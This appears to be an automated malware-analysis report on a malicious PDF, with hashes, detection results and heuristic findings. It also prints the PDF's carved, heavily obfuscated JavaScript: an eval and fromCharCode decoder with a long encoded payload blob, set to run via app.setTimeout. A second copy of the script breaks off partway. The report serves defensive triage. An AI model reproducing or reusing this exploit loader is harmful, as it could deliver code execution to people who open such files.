Malicious PDF — malware analysis report

Static analysis result for SHA-256 8e75d9cb885a838a…

MALICIOUS

PDF

14.6 KB Created: 2008-07-26 19:43:58 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2012-07-12
MD5: f04319982a65c349488374e68a48180f SHA-1: bf3ed9354b0581f5666a784dc2231d9bd6f7e64a SHA-256: 8e75d9cb885a838a32a1453901e179a9cda3ada094bd8f8ec5e86099f10b0719
286 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

This PDF file was flagged as malicious by ClamAV and an ML classifier, indicating it contains an exploit. Heuristics indicate the presence of JavaScript actions and embedded JS streams, with high-severity firings for PDF eval() calls. The embedded JavaScript is heavily obfuscated, but the presence of eval() suggests it's designed to execute arbitrary code. This likely involves downloading and executing a second-stage payload, a common technique for PDF-based malware delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • ClamAV: Pdf.Exploit.Agent-36118 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36118
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function qTKpLWe(uRMmmcoc){
var xcccxxcvcxv= ""+        eval(""+f621XVIL +"S"+f621XVIL +"t"+f621XVIL +"r"+f621XVIL +"i"+f621XVIL +"n"+f621XVIL +"g[GkBhXAV ](uRMmmcoc)")    +  "";
return xcccxxcvcxv    +    "";
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x336 13416 bytes
SHA-256: 24af23dfa2756321295faa87b29a9c3117087dea21bb6b5f5aafa094f521827c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). 56 of 111 identifiers look randomly generated (e.g. 'oLuCJ8ZSMuY4LoXnpLsZLDu4ZbZiNB8fpbisI8ib') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var vttv = "";var f621XVIL =   "",MlYuJlNdaiA =  "";
var q6VdlV60Pnz = "mvdo2sWq31";
var Y9w81 =  ""+  ""+f621XVIL +"m";
var l4TgnP0KeVVvWl = "e" +"";
var bbbbbz = "e"+f621XVIL +"n"+f621XVIL +"t"+f621XVIL +".w"+f621XVIL +"r";


var BwSXELAH2Gme =       ""+/*Yn1vzh*/  "f" ;
var GkBhXAV = BwSXELAH2Gme+  ""+f621XVIL+     ""+"r"  /*TDaFLW*/  +""+f621XVIL+ ""+ /*JzKQS2Ds*/  "o" +f621XVIL+ ""+""+ Y9w81  +  f621XVIL+    ""+    ""    +  "C" +f621XVIL+"h"+f621XVIL+""+ "a"+f621XVIL+   ""+    "r"+f621XVIL+"C"  +    "" +f621XVIL+"o"+f621XVIL+"d" +  "" +f621XVIL+l4TgnP0KeVVvWl +   ""    +"";

var gmYTKF3qHYT8 = new Array();
gmYTKF3qHYT8.push(1);


function qTKpLWe(uRMmmcoc){
var xcccxxcvcxv= ""+        eval(""+f621XVIL +"S"+f621XVIL +"t"+f621XVIL +"r"+f621XVIL +"i"+f621XVIL +"n"+f621XVIL +"g[GkBhXAV ](uRMmmcoc)")    +  "";
return xcccxxcvcxv    +    "";


}

function ZS60Rk5quCNLF(khQYxnSqXwt7iL){
var JWf5SCqANe = "Xdsmn6M3";
q6VdlV60Pnz = "mvdo2sWq31";
var cUHn7OPwC=0,
BAVaFf=khQYxnSqXwt7iL.length,ykrtxFFDkAuAis=1017+ 7,riV8bc,
kJy8pYMVZMGRGD,xQRfLcODaZ=   "",ahYhY=cUHn7OPwC,zWcq5=cUHn7OPwC,GeLc7bqo=cUHn7OPwC,XGnbsCp=Array(/*KPorjEJlSCv2ib7BowLBaXUEPG2Vc5xVTlMD1gyTsuUbWamKX9W9f2M6HNauRYQvKm0KT9oL3IwZtjuQrQYWRvbjICejk5e5qnPJvDfyVcYPLSq*/63,42,29,0,39,26,3,14,43,44,0,0,0,0,0,0,32,54,61,38,15,50,25,10,13,6,18,17,11,31,35,53,33,27,16,48,8,1,51,4,56,57,62,0,0,0,0,30,0,58,59,37,40,5,24,52,12,41,9,45,55,36,34,46,19,49,23,60,28,47,20,21,22,7,2/*yPjKKK4cWhMHm2LdpkxlxcjTEItakjnd0WxTr17OiSfVU29Jl65jhoDw78XqrKU1qRUhSa6B4lgXmorYtvIbkWYqd6hUQBUGcyy6Z5GdqwBck3Ae*/);


var sdfweeweeee =  MlYuJlNdaiA +"c"+   "";

for(eval('kJy8pYMVZMGRGD='+''+'M'+''+'a'+''+'t'+''+'h[    ""+      ""+      MlYuJlNdaiA+    sdfw'+''+'eeweeee+ "" +MlYuJlNdaiA+l4TgnP0KeVVvWl  +MlYuJlNdaiA+     ""+""+"i"+MlYuJlNdaiA +"'+''+'l"+"'+''+'"](BAVaFf/ykrtxFFDkAuAis);');kJy8pYMVZMGRGD>cUHn7OPwC;kJy8pYMVZMGRGD--)
   
{q6VdlV60Pnz = "mvdo2sWq31";

for(eval(/*IFhzoYctG7JRba5ZZ00ePmUMx87zHlxl2fkpEMiUT3v5c1eC0nqZZLvXS3XkoUVpAFeOcMt7Po*/""  /*spoEzc6ZBQUjsXGcLl9AvNoK1BD7b3Hdr7r*/  + MlYuJlNdaiA+""  +"riV8bc="+"" +  "M"/*ewQuNvdFTusof1zbOovO10VbCnE5t7vb4LVQH0fk4XYiYYJwNFLNPqzbdEfXKa9NwenDnTxr2WZZ6tWS0rqYiq0M5ptOP3mMg*/+MlYuJlNdaiA+  "a"+MlYuJlNdaiA+   "t"+MlYuJlNdaiA+    "h"+f621XVIL+f621XVIL+"."+MlYuJlNdaiA+Y9w81+MlYuJlNdaiA+"i"+MlYuJlNdaiA+"n(BAVaFf,ykrtxFFDkAuAis)");riV8bc>cUHn7OPwC;riV8bc--,BAVaFf--){GeLc7bqo|=(XGnbsCp[MlYuJlNdaiA+khQYxnSqXwt7iL[ f621XVIL+   ""+""+"c"+f621XVIL+"h"+f621XVIL+"a"+f621XVIL+"r"+f621XVIL+"C"+f621XVIL+"o"+f621XVIL+"d"+f621XVIL+l4TgnP0KeVVvWl+f621XVIL  +"A"+f621XVIL+"t"](ahYhY++)-48])<<zWcq5;
if(zWcq5){xQRfLcODaZ+=qTKpLWe(210^GeLc7bqo/*IU4XL65vfApBcy4TXlJh8OW1nw4ZIjAsDDQZJVVzfKAIJDmrz7Y7U58H1ArJu2C9FdhZ9DYoYj8rwtiv1H3UL*/&/*YMKefEgrMwV5VdH4SqmZhjTQfThhy4rlPCP5R7wo3RtX6BbY2N9j8b0m6rU4uMoKZEP1LMpNniuttWRvuZe2BnoGfIKaf9uFNJFif67*/255);GeLc7bqo>>=5/*r1NhXpcRPGSa5GrjZBJFKEUhYkQDpWhdX5K5uxVJDytIFk2owL5GaYx9JOL9v4mT98X354LI3FaHzc7vyACYjAg4Y3CU6yxD6VF0YaRa*/+3;zWcq5-=4/*hspeylc0xAt8rwgt9Ay78CBcRLB3nmspeiT*/-2;
}else{zWcq5=4+2;}}

}
return(xQRfLcODaZ);

}

gmYTKF3qHYT8.push(""+ZS60Rk5quCNLF(   /*F7mRGgZ8cG2kQ1rYC4BeOMhB0Z1nIURmaEErunzW51HV104DCFrbbZml9nZQH1DsERj0FjgJjxok*/ "" /*syJ8qujPhUXU4ym4BfIdORs98Bs61dCsbV1RQjq8DOcHNOLY5dBT65bDFTIG7V9h100RszY7OBOlajKeMW8SaifpBx6ITE1TN0vG0UNXflIFUct*/ +"fpa9@GusO1LoE0osSMDsiLMkan8suLMkan8sYLDs4zMafpbisI8ibALuEMbuVo8ubELkB10ZinksEpbisI8ibALuEpbo1AXoC101Vz5dnausZ_Lub4GAELusEr1obabkE801Vz5dnEuulEQkC18sXLDXEbosZ_Lub4GAELusELus87LdPG1sY0os87LdPG5afLusEL08fLusEL01Vz5dnG0bEua9@I1dsyaiSI1i@oLuO1uXZLuulE8sBLDXb47AELusE6akC_GdsG01Vz5dnC7AEL08fLusm7LdEy1ola8uqA8klG0bEMGulI59VGaka6DoaEbudIiXPy7oaEbud17mmQ7oaEbudIoXCL7oaEbudG_mc87oaEbud5oX16joaEbud17mnyjoaEbud7_mcL7oaEbud17mp5joaEbudGoa487oaEbudGZarzjoaEbud5oX16joaEbud1ocPQ7oaEbudx_mCL7oaEbud_oa16joaEbudJZmPyjoaEbud_ZmCQ7oaEbud_jXx77oaEbud_jX@6joaEbud_Fm16joaEbud57crzjoaEbud_7X4DjoaEbud_Ym1y7oaEbud1Za4p7oaEbudGoY4M7oaEbud__Y4p7oaEbudx_X16joaEbud17mPyjoaEbudI_XcQ7oaEbudG_Xc87oaEbud_7YvI7oaEbudx7Y16joaEbudG_X@L7oaEbudI_XvI7oaEbud5ZaKo7oaEbud5ZX4L7oaEbudI_Xp5joaEbudI7YvJjoaEbudzYcnpjoaEbudG_XNQ7oaEbudJjXP87oaEbudGoacQ7oaEbudIjcK77oaEbudG_XnQjoaEbud5oXv7joaEbud_jcrzjoaEbudI7m487oaEbudxZYv17oaEbud_Zcr_7oaEbud57Y16joaEbudG_X@Q7oaEbudJ7YKI7oaEbudG_m16joaEbud17mC87oaEbud7_m4p7oaEbud5FXny7oaEbudGoY16joaEbudG_X1DjoaEbud_7cKI7oaEbud_oX4MjoaEbud1ocKI7oaEbudGoacQjoaEbud_7X4r7oaEbudI_XR17oaEbud1ZmK7joaEbud_ia46joaEbudJjcpz7oaEbudJjcvJjoaEbudIiXP67oaEbudJFY16joaEbud7Ycvz7oaEbudziaCpjoaEbudzZcmM7oaEbudxoamM7oaEbudJ7YpzjoaEbudJ7Y887oaEbudI_XpzjoaEbudziaKG7oaEbudJoYmD7oaEbudGoXnL7oaEbudJoa4L7oaEbudJoa4Q7oaEbudJZYc67oaEbudzoYPM7oaEbudJZaNyjoaEbud_oXcQ7oaEbud__X4Q7oaEbud7YmR17oaEbudGocvIjoaEbudJjccyjoaEbudGoY4M7oaEbudJia16joaEbudIiY1y7oaEbudziXnyjoaEbud1ZmmyjoaEbudooarG7oaEbudJoa4L7oaEbudJZcmpjoaEbudJoY@MjoaEbudxZYm87oaEbudJ_mc67oaEbud_oYmQjoaEbud1ZcR17oaEbudGZcCMjoaEbudJjcrIjoaEbudGoY4M7oaEbud_oX8y7oaEbudIiXPy7oaEbud_oX4L7oaEbud17m4p7oaEbudGoY4M7oaEbudIjX1y7oaEbud1_XcpjoaEbud5_mKz7oaEbud_oX467oaEbudI7YR17oaEbudz7cNDjoaEbudJjccL7oaEbudGoY4M7oaEbud__Y46joaEbudzia4p7oaEbudJYc887oaEbudGZc1DjoaEbud_ZYvJjoaEbudJZmnQ7oaEbudJjcnL7oaEbudJoaxx7oaEbudxoYcQ7oaEbudIZmcL7oaEbudz7c@pjoaEbudxZYmDjoaEbudxoYcy7oaEbudJZcmu7oaEbudJZYmMjoaEbudIoYcr7oaEbudJ_X@MjoaEbudJocmpjoaEbudJ7Y@pjoaEbudJZYmM7oaEbudJ7XmQ7oaEbudJ_XmD7oaEbudzZcm6joaEbudJoacL7oaEbudI7ccL7oaEbudJZXcL7oaEbudJZYmr7oaEbudI_XPQjss6aknab9q_8ZBN8osZL1BuQkEbusO1LobuMafNksEpa9@G0ulZQNVzGdVo1suLDulx1spzGdVo1Zb47AELDiVz1sqI8suLuX1G_9ny8XqG_9iNksEpa9@G09A5LdE0osn81YnLoXnL_afLusm7LdEy59HabksG0bEy1ola8uqA8klEuulEQkC18sXLDXiNksEpa9@GuulE8suL09A5LdE0usay59HabksGMZELo1P8ZZiNksEpa9@G01Vz5dnG0bEMGulI59VGaka60B4ooX8LZB4ooX8L7sb47AEL01Vz5dnG0bEpbo1AXoC101Vz5dnausZ_Lub47AELDiVz1sqAbis5GXE0osayQ9E0usn81YnLoXnLZZElusV58k@C7AELDkBz1sapa9@GM9B_GuCG0bEL_aEyQu4E8iEbosqAbis5GXiLM9B_GuCGMZYL0ZinksELus0_buH7Ld@7b1jIQu4E8iDG0bEua9@I1dE4usP1bkZaQ9B5bkiNksE0GAELDiVz1sBJak@J8uBx1suL0is_Qdq78dl1DslM1XqG_9lM1XqG_9SuMafLusc1boZ_8salLilzGkZAQisbbksx8iaGubEQoY8M7Xb4GAELusElLilzGkZAQiE40bElLilzGkZAQiiNksE0GAELuiaoQdsyQuZab9SIdiBzakE0osKA8uZ7L9syQuZabkq5ac07boZojugA8ZinksELusP_G9XGDaE6DsZL0uPx8sdLMum_LdgaQucnksE0GAEL0ZiNB8fpbisI8ibALuEM1ibaQNnzaos5GkauM1fNHiVz1sn7b1ZAb9AG0bEMGulI59VGaka6DoaEbudIiXPy7oaEbud17mmQ7oaEbudIoXCL7oaEbudG_mc87oaEbud5oX16joaEbud17mnyjoaEbud7_mcL7oaEbud17mp5joaEbudGoa487oaEbudGZarzjoaEbud5oX16joaEbud1ocPQ7oaEbudx_mCL7oaEbud_oa16joaEbudJZmPyjoaEbud_ZmCQ7oaEbud_jXx77oaEbud_jX@6joaEbud_Fm16joaEbud57crzjoaEbud_7X4DjoaEbud_Ym1y7oaEbud1Za4p7oaEbudGoY4M7oaEbud__Y4p7oaEbudx_X16joaEbud17mPyjoaEbudI_XcQ7oaEbudG_Xc87oaEbud_7YvI7oaEbudx7Y16joaEbudG_X@L7oaEbudI_XvI7oaEbud5ZaKo7oaEbud5ZX4L7oaEbudI_Xp5joaEbudI7YvJjoaEbudzYcnpjoaEbudG_XNQ7oaEbudJjXP87oaEbudGoacQ7oaEbudIjcK77oaEbudG_XnQjoaEbud5oXv7joaEbud_jcrzjoaEbudI7m487oaEbudxZYv17oaEbud_Zcr_7oaEbud57Y16joaEbudG_X@Q7oaEbudJ7YKI7oaEbudG_m16joaEbud17mC87oaEbud7_m4p7oaEbud5FXny7oaEbudGoY16joaEbudG_X1DjoaEbud_7cKI7oaEbud_oX4MjoaEbud1ocKI7oaEbudGoacQjoaEbud_7X4r7oaEbudI_XR17oaEbud1ZmK7joaEbud_ia46joaEbudJjcpz7oaEbudJjcvJjoaEbudIiXP67oaEbudJFY16joaEbud7Ycvz7oaEbudziaCpjoaEbudzZcmM7oaEbudxoamM7oaEbudJ7YpzjoaEbudJ7Y887oaEbudI_XpzjoaEbudziaKG7oaEbudJoYmD7oaEbudGoXnL7oaEbudJoa4L7oaEbudJoa4Q7oaEbudJZYc67oaEbudzoYPM7oaEbudJZaNyjoaEbud_oXcQ7oaEbud__X4Q7oaEbud7YmR17oaEbudGocvIjoaEbudJjccyjoaEbudGoY4M7oaEbudJia16joaEbudIiY1y7oaEbudziXnyjoaEbud1ZmmyjoaEbudooarG7oaEbudJoa4L7oaEbudJZcmpjoaEbudJoY@MjoaEbudxZYm87oaEbudJ_mc67oaEbud_oYmQjoaEbud1ZcR17oaEbudGZcCMjoaEbudJjcrIjoaEbudGoY4M7oaEbud_oX8y7oaEbudIiXPy7oaEbud_oX4L7oaEbud17m4p7oaEbudGoY4M7oaEbudIjX1y7oaEbud1_XcpjoaEbud5_mKz7oaEbud_oX467oaEbudI7YR17oaEbudz7cNDjoaEbudJjccL7oaEbudGoY4M7oaEbud__Y46joaEbudzia4p7oaEbudJYc887oaEbudGZc1DjoaEbud_ZYvJjoaEbudJZmnQ7oaEbudJjcnL7oaEbudJoaxx7oaEbudxoYcQ7oaEbudIZmcL7oaEbudz7c@pjoaEbudxZYmDjoaEbudxoYcy7oaEbudJZcmu7oaEbudJZYmMjoaEbudIoYcr7oaEbudJ_X@MjoaEbudJocmpjoaEbudJ7Y@pjoaEbudJZYmM7oaEbudJ7XmQ7oaEbudJ_XmD7oaEbudzZcm6joaEbudJoacL7oaEbudI7ccL7oaEbudJZXcL7oaEbudJZYmr7oaEbudI_XPQjss6aknab9q_8ZBN8osZL1BuQkEbusO1LobuMafNHAfLusm7LdEVQunG0bE6DsiNksEpQu@GuZbIjuCG0bED7X14osbIjuCGDbuLuXE4Z00L0oKE8ibVQunGMZuL0is_Qdq78dl1DslMaanuoXlMaanuoXlMaanuoXlMaanuoXlMaanuoXSuMafLusa_b9nz8uBIQoE0ossA8dE4usn7b1ZAb9AC7AELD9bxL9ZAQ9YG0bEMGulI59VGaka60B4ooX8LZB4ooX8L7sb47AELuol78klz5dbnakE0os@L_afLusPGGdVo1suLuol78klz5dbnakE4usa_b9nz8uBIQosbbksx8iaC7AELMiao8ulGuZSoQkSaQuqCL0Z_LuO51oEbosPGGdVoaZSoQkSaQuqC8sY0osSoQkSaQuqCQafLusgo8uZz8uBIQoE0osSoQkSaQuqCL0P_G9P5GdbEQkaLo0Ey1d@7b1b47AELD9ZAQ9YG0bE6boOz8uBIQosyaiSI1i@oLuO1uXZLD9bxL9ZAQ9YEuulEQkC18s0LMdnza98oMafLusc1boZ_8sa68uBIQosbbksx8iaGMZEy1d@7b1Ebosn81YnLoXnuD9ZAQ9YG0bE68uBIQoE4usSaQuqC8sYLDkba8uSaQuqCQafLus0_buE0oss_QiEDjd@7b1auMafLusgALdE80oE0osn4osbGubEDoYnL_aEu8sY4usb0bk0CXoDG0bE68uBIQoE4usa_b9nz8uBIQoiNksEpa9@GDu4Z8suL0X@uZa8uZa8uZa8uZa8uZa8uZa88oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa18oa147A45aoZEud@oLuCJ8ZSMuY4LoXnpLsZLDu4ZbZiNB8fpbisI8ibALuErbkCoQ9BE8Zb4GAELDiVz1sP1bkZaQ9B5bkE0os4EbkPIb9n_8ZSN8osZL1KG_XPN8osZL116jYCN8osZL1PLoYnN8osZL1nyFY1N8osZL1CLoaRn8osZL116iXKn8osZL1NyFYnN8osZL116Ymxn8osZL1n8ZY1N8osZL1nuZcRn8osZL1CLoaRn8osZL11QFXCN8osZL1cyiYnN8osZL148oaRn8osZL1mDFXKn8osZL14DiYCN8osZL1rzocNN8osZL1rz7XRn8osZL1rIiaRn8osZL1CpYcRn8osZL146ZYpn8osZL1r7iaPN8osZL11uZYmN8osZL1nQZY4N8osZL14rZYmN8osZL1cyoaRn8osZL116FXKn8osZL1Py_YCN8osZL1ny_Y1N8osZL14p7cPN8osZL1cpoaRn8osZL1ny7XnN8osZL1Py7cPN8osZL1Cu_m8N8osZL1CDZYnN8osZL1PyZmxn8osZL1Pp7cvn8osZL1R_iXvn8osZL1nyZXCN8osZL1vz_X1N8osZL1n8_YCN8osZL1KJFmNN8osZL1nyoXxn8osZL1CL7cpn8osZL1rJYcRn8osZL1P6YY1N8osZL1cM7c1N8osZL14MYc4N8osZL1CpoaRn8osZL1ny7XCN8osZL1mp_mPN8osZL1nyiaRn8osZL116iY1N8osZL1NyYYmN8osZL1xIoXPN8osZL1nQoaRn8osZL1nyoapn8osZL14pFmPN8osZL14LZYrn8osZL11QFmPN8osZL1n8_Yxn8osZL146ZYcN8osZL1Py7m1N8osZL11DFmpn8osZL1r1ZYRn8osZL1vJYm@N8osZL1vJjcvn8osZL1KG_X@N8osZL1vxoaRn8osZL1p_jc@N8osZL1R1oYvn8osZL1@MjY4N8osZL1c87Y4N8osZL1mpZmRn8osZL1mpZa1N8osZL1PyZmRn8osZL1R1_mnN8osZL1mQ7YNN8osZL1nLoXnN8osZL1m8ZYnN8osZL1m8ZYCN8osZL1mM_Y@N8osZL1@Q_X4N8osZL1muZXKn8osZL14L_YCN8osZL14yZYCN8osZL1p7jm1N8osZL1nQjcKn8osZL1vJFYKn8osZL1nQZY4N8osZL1v1oaRn8osZL1K5oaPN8osZL1RGoXKn8osZL11DjYKn8osZL188ZcnN8osZL1m8ZYnN8osZL1mMjYvn8osZL1mQ7Xrn8osZL1cM7Y1N8osZL1myFY@N8osZL14Q7Yxn8osZL11Mjm1N8osZL1nMiYrn8osZL1vJYcKn8osZL1nQZY4N8osZL14LZaPN8osZL1KG_XPN8osZL14LZYnN8osZL116YYmN8osZL1nQZY4N8osZL1KzoaPN8osZL11y_Yvn8osZL1CyFm@N8osZL14LZY@N8osZL1Pp7m1N8osZL1@pYXpn8osZL1vJFYnN8osZL1nQZY4N8osZL14rZYRn8osZL1R1ZYmN8osZL1v_Ya1N8osZL1nMiapn8osZL14M7cvn8osZL1mDiXCN8osZL1vJiXnN8osZL1m8occN8osZL1cQ_YCN8osZL1PDFYnN8osZL1@pjXvn8osZL1cM7Ypn8osZL1cQ_YPN8osZL1mMjY8N8osZL1mM7Yrn8osZL1PQ_YcN8osZL1my7Xrn8osZL1mQjYvn8osZL1mp7Xvn8osZL1mM7Y4N8osZL1m67YCN8osZL1my7YNN8osZL1@MjYRn8osZL1m8_YnN8osZL1PpFYnN8osZL1mD_YnN8osZL1mM7YcN8osZL1Py_XxzD0@_8dZ7Q9l1M0X1Lu0n50bx8sZLMkanbZb47AfLusO7LdS7QklG0bEMGulI59VGaka60B4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8LZB4ooX8L7sbLMZEy1ola8uqA8klC7AELDuBGG9ZAQ9YG0bEMGulI59VGaka60B4ooX8LZB4ooX8L7sb47AELuol78klz5dbnakE0osNL_afLusVI8uE0osa_b9A_LdPoL1lGMZErb9@zb9O_L0Z_LuO51oiNksEr1obabkE8DuBGG9ZAQ9YEuulEQkC18soL09qabZsA8dSaQuqC8sY0ossA8dSaQuqCQafLusgo8uZz8uBIQoE0ossA8dSaQuqCL0P_G9P5GdbEQkaLo0EDQ9ZoMafLusSaQuqC8suLDuBGG9ZAQ9YEMd4zQdCzaosx8ZnbussA8dSaQuqCL0Z_LuO51oE0usVI8ub47AELMiao8ulGuZSaQuqCL0Z_LuO51oE4usVI8uEbosn81YnLoXnuD9ZAQ9YG0bE68uBIQoE4usSaQuqC8sYLDkba8uSaQuqCQafLus0_buBza1E0oss_QiEDjd@7b1auMafLusgALdE80oE0osn4osbGubEDoan4osbGMZYL0Z0_buBza1jobNE0osSaQuqC8sYLMkVzG9VxbkiNksEpa9@GD94JLklz5dbnakE0osCLZX@47AELDiVz1sS_Gkg_LdE0ospzGdVo1ZS_Gkg_LdPoL1loMafLusgALdE80oE0osn4osbGubE6bigJbk@Iaod_QaEu8sY4usb4GAELusE6bigJbk@CXoDG0bEMGulI59VGaka60BnDbBnDbBnDbBnDLsb47AEL08fLusKA8uZ7L9srbkCoF9BE8ZS_Gkg_LdE4usSlT4s6bis58ulz0ZiNB8fNHk4EQ9CoQusGudAJQNP5a9@51Zb4GAELDiVz1sm_LdPoQusG0bED8dnEDib_QilzGPlz5dbALusQ5uU5GdbEQkauMafLusm_LdPoQusG0bEpak@IaoBEL0@_8dZ7Q9l1M075F0OausS60ZiNksEpa9@GDiVz5dbALuH7Ld@7b1E0oss_QiEDjd@7b1apak@IaoBEL0q1b9@7iiaLZZZLDilz5dbALusy8oVzamC10Xbbusm_LdPoQusEM9a7Ldp51Z@u0ZiNksEuLkE8uZm7LdPoQusAX9@za98CdXDG0buLuabLDBgLuZm7LdPoQusAX9@za98CXXDG0buLuXbLu8oGuZm7LdPoQusAX9@za98CXXDG0buL0XEpDBENksEpa9@IaoBEQNVzGdVo5n@0dsoLMXbuM1fM1ibaQNnzaos5GkauMafLusunksEuLkE8uZm7LdPoQusAX9@za98CdXDGubE8ZZEb18E8DiVz5dbALuH7Ld@7b1jGZNE0ZbE8osgpusm7LdPoQusAX9@za98CXXDGubE6osgpusfLusm7LdPoQusAX9@za98CTXDGubE6ZZb4GAlZb9babosJQuauMafLusun2kl5aoqALuauMaf0GAn5LkHI1iVz1iauMa"  +      ""));
var jiool = 6;
jiool = jiool -5;
var mmsm = new Object();
var ttsdff = gmYTKF3qHYT8;
mmsm = app["s"+vttv+"e"+vttv+"t"+vttv+"T"+vttv+"i"+vttv+"m"+vttv+"e"+vttv+"O"+vttv+"u"+vttv+"t"]("ev"+vttv+"al(tts"+vttv+"dff[jio"+vttv+"ol])", 980);
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x359 14122 bytes
SHA-256: 0520a8978132bab30afbc04b0c2ffd73315879f4a68b39e0aa1d0c62495d7575
Detection
ClamAV: Pdf.Exploit.Agent-36118
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var vttv = "";var f621XVIL =   "",MlYuJlNdaiA =  "";
var q6VdlV60Pnz = "mvdo2sWq31";
var Y9w81 =  ""+  ""+f621XVIL +"m";
var l4TgnP0KeVVvWl = "e" +"";
var bbbbbz = "e"+f621XVIL +"n"+f621XVIL +"t"+f621XVIL +".w"+f621XVIL +"r";


var BwSXELAH2Gme =       ""+/*Yn1vzh*/  "f" ;
var GkBhXAV = BwSXELAH2Gme+  ""+f621XVIL+     ""+"r"  /*TDaFLW*/  +""+f621XVIL+ ""+ /*JzKQS2Ds*/  "o" +f621XVIL+ ""+""+ Y9w81  +  f621XVIL+    ""+    ""    +  "C" +f621XVIL+"h"+f621XVIL+""+ "a"+f621XVIL+   ""+    "r"+f621XVIL+"C"  +    "" +f621XVIL+"o"+f621XVIL+"d" +  "" +f621XVIL+l4TgnP0KeVVvWl +   ""    +"";

var gmYTKF3qHYT8 = new Array();
gmYTKF3qHYT8.push(1);


function qTKpLWe(uRMmmcoc){
var xcccxxcvcxv= ""+        eval(""+f621XVIL +"S"+f621XVIL +"t"+f621XVIL +"r"+f621XVIL +"i"+f621XVIL +"n"+f621XVIL +"g[GkBhXAV ](uRMmmcoc)")    +  "";
return xcccxxcvcxv    +    "";


}

function ZS60Rk5quCNLF(khQYxnSqXwt7iL){
var JWf5SCqANe = "Xdsmn6M3";
q6VdlV60Pnz = "mvdo2sWq31";
var cUHn7OPwC=0,
BAVaFf=khQYxnSqXwt7iL.length,ykrtxFFDkAuAis=1017+ 7,riV8bc,
kJy8pYMVZMGRGD,xQRfLcODaZ=   "",ahYhY=cUHn7OPwC,zWcq5=cUHn7OPwC,GeLc7bqo=cUHn7OPwC,XGnbsCp=Array(/*KPorjEJlSCv2ib7BowLBaXUEPG2Vc5xVTlMD1gyTsuUbWamKX9W9f2M6HNauRYQvKm0KT9oL3IwZtjuQrQYWRvbjICejk5e5qnPJvDfyVcYPLSq*/63,42,29,0,39,26,3,14,43,44,0,0,0,0,0,0,32,54,61,38,15,50,25,10,13,6,18,17,11,31,35,53,33,27,16,48,8,1,51,4,56,57,62,0,0,0,0,30,0,58,59,37,40,5,24,52,12,41,9,45,55,36,34,46,19,49,23,60,28,47,20,21,22,7,2/*yPjKKK4cWhMHm2LdpkxlxcjTEItakjnd0WxTr17OiSfVU29Jl65jhoDw78XqrKU1qRUhSa6B4lgXmorYtvIbkWYqd6hUQBUGcyy6Z5GdqwBck3Ae*/);


var sdfweeweeee =  MlYuJlNdaiA +"c"+   "";

for(eval('kJy8pYMVZMGRGD='+''+'M'+''+'a'+''+'t'+''+'h[    ""+      ""+      MlYuJlNdaiA+    sdfw'+''+'eeweeee+ "" +MlYuJlNdaiA+l4TgnP0KeVVvWl  +MlYuJlNdaiA+     ""+""+"i"+MlYuJlNdaiA +"'+''+'l"+"'+''+'"](BAVaFf/ykrtxFFDkAuAis);');kJy8pYMVZMGRGD>cUHn7OPwC;kJy8pYMVZMGRGD--)
   
{q6VdlV60Pnz = "mvdo2sWq31";

